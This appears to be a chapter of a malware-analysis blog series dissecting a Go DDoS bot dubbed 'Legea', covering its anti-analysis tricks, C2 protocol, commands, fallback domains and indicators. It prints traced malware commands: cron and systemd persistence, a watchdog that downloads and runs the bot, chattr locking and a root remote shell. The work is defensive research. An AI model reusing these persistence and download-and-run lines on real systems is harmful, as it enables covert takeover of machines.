Legea · Chapter 32
It encrypted a broken message too
Three lying bytes keep the decompiler out, and behind them there's a second wall: the author's strings aren't in the file at all. By the time I finally got it talking, it had spent a while saying yes to seven orders that don't exist.
The last chapter ended with the decompiler shutting the door in my face: invalid Go version. A 40 MB binary that starts and runs on a real machine, but that on being opened claims something impossible about itself.
That message is the first of two walls, and both belong to the same author. The second one took me longer to see, and the road to it includes the stretch where the thing kept telling me yes to seven orders that don't exist.
01Three bytes that lie
A Go binary isn't a black box. The compiler leaves an index of its own functions inside, the gopclntab, along with a record of the toolchain it was built with. That's what lets a decompiler rebuild function names and boundaries in a file with no symbols. Everybody reads it, and it's the first thing they read. Which makes it the ideal place to lie.
I compared what that header said with what it had to say, and three fields had been touched:
field says actually is
.gopclntab magic 50 c2 6d 30 f1 ff ff ff (0xFFFFFFF1, the real magic)
pcHeader textStart 0 0x401000 (real base of the code)
.go.buildinfo version "unknown" "go1.24.1"Three fields, a handful of bytes. Not one of them is needed for the program to run: the operating system never looks at them on startup, only analysis tools do. They're a lie aimed at me, not at the machine. A note on scope: I verified those three fields on the sample I opened, the x64 one; for the other seven architectures I'm inferring it from them being the same campaign, and I didn't check them one by one.
It works, but it doesn't last. I took a copy of the file, gave those three fields their true values back and opened it again. The decompiler walked straight in and, with the function index back where it belongs, the whole layout of the binary appeared at once: the client that phones home, the order dispatcher, the handler for each attack, the workers.
And it isn't this author's invention. Nokia Deepfield's response team described two of these three fields in a July report on DDoSia, the attack tool of NoName057(16): the .gopclntab magic clobbered and the build version set to unknown. The third, textStart zeroed, isn't in there. It's a recipe doing the rounds, and this one takes it one field further.
What's interesting is what it didn't fix. I had the code, I could read all of it, and I still had no idea who it was calling.
02The second wall: the strings aren't there
A bot has to carry the address of its command server. It's the one piece of data it can't do without: no address, no botnet. So I went looking the way you always do, sweeping the file for text, and there was nothing. No address, no domain, not even the names of its own orders.
What was there was text from the system libraries, in the clear and in plain sight: tls: , dns: udp: , %s:%d, socks . And that contrast is one particular tool's signature. The binary has been through garble, the Go obfuscator, with the -literals option turned on: it scrambles the names and encrypts the strings belonging to the author's own packages, leaving the standard library's alone. Hence the lopsided split: what he wrote, encrypted; what he brought in from outside, readable. The same option DDoSia's client carries, according to that same report.
That changes the question. The strings aren't assembled on the fly through some clever arithmetic, which is what I assumed at first: they're encrypted at rest and decrypt themselves on startup, because the program needs them in the clear to use them. Which means they exist, whole, in one specific place: the memory of the running process.
So I started it in the cage, as root, which is how it lands on a victim, and let it run on its own with nobody answering. The first thing it confirmed is that by itself it does nothing: it doesn't persist, it doesn't touch /etc/shadow or the user's keys, it doesn't scan, it doesn't open a single raw socket. All it does is phone home. And phone, and phone:
connect() to 130.12.180.32:7001 17 times
DNS queries to 127.0.0.1:53 476 times (its domains, one after another)
# and the only thing that actually leaves the wire:
ARP who-has 130.12.180.32 no replySeventeen connection attempts, 476 DNS questions, and the only thing that makes it out to the wire is an ARP asking who holds that address, which nobody answers. A creature banging on the walls of a closed room.
While it was banging, I froze it and read its memory. And there was everything the file didn't have: the address of its command server, the seven fallback domains, the names of its orders, and even the lines the author uses to narrate events to himself (Trying domain: %s, Connected to IP: %s, dispatch err: %v).
03Seven orders that didn't exist
With the address and port in hand, the next step is to stand up a fake command server inside the cage and learn to talk to it. The protocol is one of the simple ones: plain text over TCP, the server speaks first, and the bot reads a line. So I started feeding it candidate orders to see which ones it accepted, with one thing going for me: when it doesn't understand something, it says so.
That was my oracle. Send a word, look at its output, and if the complaint doesn't appear, it took it. Seven words passed the test, exactly the ones you'd expect in a bot like this: udp, tcp, syn, ack, gre, l7, http2. I wrote them down as the thing's repertoire. They fitted so well that I didn't look twice.
All seven were wrong. It's not that the bot rejected them: it's that my oracle couldn't see a single reply, and I was reading an empty file as a yes.
The cause is something the thing does which I'd already noted two sections earlier without joining the dots: it daemonises. On startup it detaches from the terminal, opens a new session and re-executes itself, and in doing so it lets go of its standard output. From that moment on, anything it writes isn't going to my file. It isn't going anywhere. My meter read zero because it was unplugged, and I read zero as "accepted".
# BAD ORACLE: read the process's output file
$ echo "udp 203.0.113.9 80 1 1" | nc -l 7001 ; cat output.txt
(empty) → I read it as "accepted". Wrong.
# GOOD ORACLE: trace the write() system call
$ strace -f -e trace=write ./bot
write(1, "dispatch err: unknown cmd: udp\n") → the truth: it doesn't know it
write(1, "dispatch err: unknown cmd: syn\n") → nor that one
... and so on for all sevenThe difference between the two runs isn't in the bot, which did the same thing both times. It's in where I'm looking. The output file is a place the process no longer writes to. The write system call, on the other hand, it still has to make, and there it shows up, complaint and all, naming the order it doesn't recognise.
And the moment I could read the complaints, the opposite also surfaced: the first word that didn't produce an error. It isn't any of the seven.
04"The law"
The entire repertoire is requested with the same word in front:
legea=<method> <target> <port> <seconds> <threads>
# example, against the documentation IP 203.0.113.9:
legea=udpflood 203.0.113.9 80 1 1
# and the heartbeat, which goes on its own without the key:
PING → PONGThere was the verb: there are no standalone orders, there's one key with the method tucked inside it. And that key is the most interesting thing in the whole dump, both for what it is and for how little else there is.
Because this one left nothing else of its own: no banner, no alias, no version number, no project name, not one path from its author's disk, which is how so many of them give themselves away. Everything is scrambled and encrypted. legea is the only word he chose that's still standing, and it's everywhere:
$ ./fig-legea.sh
== author key 'legea': in the binary vs in process memory ==
in the BINARY (at rest, encrypted by garble -literals): 0
in MEMORY (decrypted at runtime): 124
== method repertoire (key legea=<method>), by frequency ==
11 legea=udpsmart 7 legea=tcphandshake 4 legea=rce
11 legea=persist 7 legea=dns 4 legea=lock
9 legea=tcpflood 6 legea=udpflood 4 legea=kill
9 legea=synflood 8 legea=http 4 legea=greflood
9 legea=ackfloodZero times in the file, 124 in the running process. That figure is also the cleanest proof of -literals: the word exists, the program uses it constantly, and on disk it isn't there. And the same screen holds the full repertoire, which is what I was after.
That's where the name I filed it under comes from: Legea, which is Romanian for "the law". It's a string that was inside the binary, and I picked it because it's the only thing its author put there. The name says nothing about who wrote it or where they're from, any more than it does for any other family named after its mutex or a string from its protocol.
One point of method, which is what gave me the clean figure: the dump also contains things like tcphandshakepe, which aren't methods but heap garbage sitting right behind. So the count only matches against the thirteen real names, not against anything starting with legea=.
05Nine attacks and four keys
With the right syntax, the thing undresses completely: I fed it the thirteen orders one at a time, watching with a system call trace, a packet capture and a disk diff to see what it did with each. All thirteen work. Nine are attacks and four aren't, and those four change what this is.
The nine attacks, with what each announces on starting up (test target: 203.0.113.9, an IP reserved for documentation, inside the cage):
| Order | What it says on starting | What it throws |
|---|---|---|
| legea=udpflood | Starting UDP flood… / UDP flood done. Sent: 13941 | UDP flood |
| legea=udpsmart | Starting randomized UDP flood… | UDP with randomised fields |
| legea=tcpflood | TCP flood done. Sent: … | TCP connections by the bucket |
| legea=tcphandshake | host:… secs:… | half-finished TCP handshakes, to exhaust tables |
| legea=synflood | SYN flood done. Sent: 12111 | SYN over a raw socket |
| legea=ackflood | ACK flood done. Sent: 12175 | ACK over a raw socket |
| legea=greflood | GRE flood done. Sent: 11573 | GRE over a raw socket |
| legea=http | Starting HTTP flood… | HTTP requests (layer 7) |
| legea=dns | Starting DNS flood… | DNS abuse |
It covers layers 3, 4 and 7, and the three that use raw sockets need to be root: that's where you see why it's delivered as root and why an ordinary account wouldn't do. None of this is exotic. It's the standard spread of a rental bot, and I'm describing it for what helps spot it, not for how it builds each packet.
The other four orders are the ones that changed my verdict, because they're not for knocking anyone over. They're for keeping the machine.
# legea=rce id → arbitrary shell, with full privileges
execve("/usr/bin/sh", ["sh","-c","id"])
write(1, "uid=0(root) gid=0(root) groups=0(root)\n")
# legea=persist → nails itself down in three places at once
execve("/usr/bin/systemctl", ["systemctl","enable","--now","systemd-helper.service"])
execve("/usr/bin/bash", ["bash","-c","(crontab -l; echo '* * * * * bash
/var/lib/.systemd_helper/.systemd_script.sh >/dev/null 2>&1') | crontab -"])
# and it drops the watchdog, which re-downloads itself if the bot isn't running:
URL="hxxp://<its server>/x86"; PROG="/var/lib/.systemd_helper/.systemd_process"
[ ! -f $PROG ] && wget -O $PROG $URL && chmod +x $PROG; pgrep -x .systemd_process || $PROG &
# legea=lock → makes the system directories immutable
execve("/usr/bin/chattr", ["chattr","+i","/etc/config"]) … and /data /proc /root /sys /tmp /var/run …
# legea=kill → the rival killer
write(1, "Killer disabled.\n") (on switching it off)They're worth taking one at a time, because together they're a different animal from the one this looked like.
rce is a remote shell with full privileges: send it a command and it hands back the output. With that, the repertoire of the other twelve methods hardly matters; the operator can do whatever he likes on the machine, including bringing in new tools.
persist grabs hold in three places: a system service with an innocent-sounding name (systemd-helper, which sounds like a distribution component and isn't), a scheduled job running every minute, and a watchdog script that checks whether the bot is still alive and, if it isn't, downloads it again from the delivery server. It's the same address it arrived from, so persistence ties it to its own infrastructure: as long as that box serves files, the victim reinfects itself every minute.
lock is the one I liked most, because it's the kind of detail that hints at what hardware this is aimed at. It sets the immutable attribute on a fixed list of directories, so neither another intruder can drop files there nor the owner can comfortably clean the machine. And in that list, alongside the ones any Linux box has, are two that have no business being on a server: /etc/config and /data. On OpenWrt those are standard paths, and that's the explanation that fits best, though they aren't exclusive to it and other embedded systems use them too. As it stands, the list reads as though it was written with edge devices in mind rather than the machine it landed on.
kill is a module that kills rival processes, the usual thing for keeping a device to yourself. It exists and it responds, that much I saw; exactly which processes it kills I didn't get, and I'm writing that down because it's a real gap in this analysis.
Put the four together and what lands on the victim isn't a denial-of-service cannon. It's a complete bot with a control plane: remote shell, self-repairing persistence and territory lock. That profile, rival killer plus marked territory plus router paths, is old-fashioned Mirai family, but rewritten in Go and with the protocol and obfuscation of another era.
06Two labels that got it wrong
My own decoy classifier, which looks at every sample that comes in and says in one line what it's about, said of this one: "downloads further components; tries telnet or ssh credentials". The first half is true, and it's precisely the persist watchdog re-downloading the binary. The second half is false, and the reason is rather good.
This bot links gopacket, the library for building and reading network packets, which is the engine behind its three raw-socket attacks. And gopacket carries inside it, so it can describe the traffic it reads, an enormous table with the names of every well-known port: telnet, ssh, http, and a few hundred more. The classifier saw those words in the binary and drew the reasonable conclusion. The words were there. What wasn't there was anything using them.
Since the question mattered (a bot that brute-forces SSH spreads on its own, which changes how you have to defend against it), I checked it along three routes that share no tooling:
| Question | What I looked for | Result |
|---|---|---|
| Can it speak SSH? | a linked SSH client library, authentication functions | there is none. Without that, brute-forcing SSH isn't unlikely, it's impossible |
| Does it carry a dictionary? | the classic credentials from Mirai lists (xc3511, vizxv, xmhdipc, 7ujMko0…) and user:password pairs | nothing. The only thing resembling one is user:cpu-seconds, a metric from the language itself |
| Is there any route to it? | the dispatcher's branches, one by one | thirteen string comparisons and the heartbeat. Not one scans or tries credentials |
The second one is where I could have fooled myself again, because "I found nothing" is exactly what a broken search says. So before trusting it I checked that it knew how to say yes: the same search, in the same dump, does find the author's strings I already knew were decrypted in there (legea, the seven domains, the log lines). It finds what's present. What isn't present is the dictionary.
So this bot doesn't spread on its own. It sits still until somebody talks to it, and any expansion comes from an operator's order. Which puts the case's two automated labels in their place: a classifier crediting it with a capability it doesn't have, and an antivirus engine that looked at the same file and called it a legitimate file.
07What family is this
The genre is documented, and that's worth saying before painting anything as exotic: denial-of-service bots written in Go have been showing up for a couple of years now, and the closest relative this one has is the Go IoT bot Akamai analysed in September. The command skeleton is the same right down to the details: plain-text TCP, split the line into fields, first field rules, each attack dispatched to its handler in lightweight threads. The way it spreads matches too, with a loader asking for /<architecture> over HTTP.
But compared binary against binary they aren't the same thing, and the differences aren't subtle:
| Akamai's (Sep 2026) | This one | |
|---|---|---|
| Stealth | plain text, no encryption, no obfuscation | garble with -literals, faked Go header, custom TLS stack and DNS over HTTPS |
| Command server | one IP and nothing else | one IP plus seven fixed fallback domains |
| What it's built for | taking down games: its methods name FiveM, Minecraft, Discord | generic networking, without a single word from that world, and it adds GRE, which the other one lacks |
| How many attacks | around thirty | nine |
| Does it spread by itself? | yes, it ships a scanner | no (§06) |
And there's one similarity I shouldn't hide, because it cuts against me: the other one also carries control orders, for killing and for persisting. The control plane isn't what separates the two; what separates them is the stealth, the domain reserve and what the spread of attacks is for. It isn't any of the others I compared it against either, and those fall away for blunt reasons: Zergeca (XLab, 2024) is missing its own markers and its encrypted transport here; HTTPBot (NSFOCUS, 2025) is Windows-only and never leaves layer 7; and DDoSia, the faked-header one from §01, is another tool with another owner.
So in the public repositories this is still what it was when it arrived: eight files uploaded, with no family name from any engine, and the delivery infrastructure under watch while nobody knows what the samples are. A bot from a known genre, with an extra turn of the stealth screw and no scanner, that still has no label.
08Seven fallback domains, and six don't exist
That leaves the thing's plan B, which is the part I took most seriously. Besides the IP, it carries seven domains inside to go looking for its master if the address goes down. And they're not the kind that change daily: I set the machine's clock a month ahead, set it off again, and the same seven came out. Fixed seed. For a defender that's the best possible news, because they're indicators that don't expire: block them once and you're done.
I went to see what was behind each one, asking each domain's registry, which is a query to public databases and touches nothing of the attacker's. And what's behind them is next to nothing:
| Domain | Status |
|---|---|
| 39rwd49tgi9.xyz | the only one that ever existed: registered on 15 Oct and suspended by the registry on 16 Oct at 16:09 UTC. 21 hours and 17 minutes of life. Its name servers were the registrar's parking ones, so it never pointed at any machine of the operator's |
| 9egu923jfsdf.pro | unregistered |
| dfisjqef0s.app | unregistered |
| fallbackmaximidfjdsia.com | unregistered |
| sg9sj8ifda.com | unregistered |
| sfoig93rafa.io | unregistered |
| w9triu9w8vs.ro | unregistered |
Six out of seven have never been registered. On paper, the fallback plan makes the bot resilient to losing its server; in practice, today it has nowhere to fall: lose the IP and it goes mute, knocking on seven doors that don't exist.
Twice I nearly swallowed a "there's nothing here" that wasn't true, and both times for the same reason as before. My first pass went through a service that forwards queries to whichever registry is responsible, and it gave me all seven as free; but two of those registries, .ro and .io, don't run that service, and what I was reading as "not registered" actually meant "there's nobody here to ask". I redid those against each registry directly. And the .ro one has another trap: when the domain doesn't exist it returns an enormous legal notice and not one line of data, which is exactly what a broken service returns. I settled it by asking about a domain that does exist: if that one comes back with data, the service works, and the silence about the bot's domain means what it looks like.
One qualification, so as not to sell more than I checked: what's verified is that those six are not registered. Whether they could be registered today is another question, because a registry can be holding them reserved or blocked without that being visible, and I haven't asked it. And while they stay free there's an uncomfortable surface there: whoever registers one becomes the master of every bot that falls back. That's the reason to publish the list so they get blocked and watched; acting on them is a matter for the registries and for whoever has the authority.
And there's one last calendar detail that finishes it off. By the time the eight binaries landed in the decoy, its fallback domain had been dead for eight hours, and its delivery server had been on the record for five in a public repository of malicious URLs. The campaign arrived burned from home and carried on delivering as if nothing had happened.
Lined up like that, the contrast is what describes this one best. Inside it's an armoured cabinet: faked header, strings encrypted one by one, scrambled names, custom TLS stack. Outside it's a rented flat with the door left open: an off-the-shelf box shared with hundreds of addresses, six domains he never bothered to buy, and the one he did buy dead within a day. Stealth comes from a compiler option, and it's free. Infrastructure costs money and persistence.
What crowns it is the smallest detail of all. He lovingly encrypted every one of his log lines, one by one, including the HTTP flood's, which comes out broken: it announces its target with a %!d(MISSING) where the port should be, because its author passed the arguments wrong. He took the trouble to encrypt a message that doesn't work, and he never saw it, because to see it he'd have had to start his own bot up and read himself from the inside. Which is exactly what I've just done.
09Indicators
The delivery ones are in the previous chapter. These are the bot's own, and the network ones don't expire: the domain list is fixed.
| Type | Value |
|---|---|
| Family | Legea (name taken from its protocol key; no label in any public engine) |
| Command server | 130.12.180.32:7001/TCP, the same server that delivers it |
| Fallback domains (fixed list, block all 7) | 39rwd49tgi9.xyz · 9egu923jfsdf.pro · dfisjqef0s.app · fallbackmaximidfjdsia.com · sfoig93rafa.io · sg9sj8ifda.com · w9triu9w8vs.ro Still indicators even though they don't resolve today: the bot tries them regardless |
| Protocol | plain-text TCP, server speaks first · order: legea=<method> <target> <port> <seconds> <threads> · heartbeat PING / PONG · to anything unknown it answers dispatch err: unknown cmd: <x> |
| Methods (13) | attack: udpflood, udpsmart, tcpflood, tcphandshake, synflood, ackflood, greflood, http, dns · control: rce, persist, lock, kill |
| Markers in memory | the key legea (0 times in the file, 124 in the running process) · log lines dispatch err: %v, unknown cmd: %s, Trying domain: %s, Connected to IP: %s · the format bug %!d(MISSING) in the HTTP flood |
| Faked header (anti-analysis) | .gopclntab magic = 0x50c26d30 (real one is 0xFFFFFFF1) · textStart = 0 (real 0x401000) · version in .go.buildinfo = "unknown" (real go1.24.1) |
| Persistence (on receiving legea=persist) | /var/lib/.systemd_helper/ (hidden) · .systemd_script.sh (watchdog that re-downloads) · .systemd_process (the replaced binary) · /etc/systemd/system/systemd-helper.service (Restart=always, RestartSec=60) · root cron job every minute |
| Territory lock (on receiving legea=lock) | unexpected immutable attribute on /data /etc/config /mnt /proc /root /sys /tmp /usr/tmp /var/cache /var/lib/ /var/run /var/tmp · /etc/config and /data point to an embedded target, OpenWrt most likely (not exclusive to it) |
| Behaviour | daemonises (opens a new session and re-executes itself, letting go of standard output) · with no C2 talking to it, it doesn't touch the system · raw sockets for syn/ack/gre, which require root · rce runs sh -c and returns the output |
| Build | Go 1.24 (links the FIPS 140 module and post-quantum crypto, which don't exist earlier) · garble with -literals · static stripped ELF, 33 to 40 MB, with no second binary embedded |
| Declared gaps | the exact list of processes kill terminates · the reason for the domain's suspension · whether the six free ones could be registered today · the faked header was only verified on the x64 build |
To be continued - the decoy stays lit, and sitting in storage are four binaries that same IP dropped nine days earlier, from the other family, still unopened. 🍯
Comments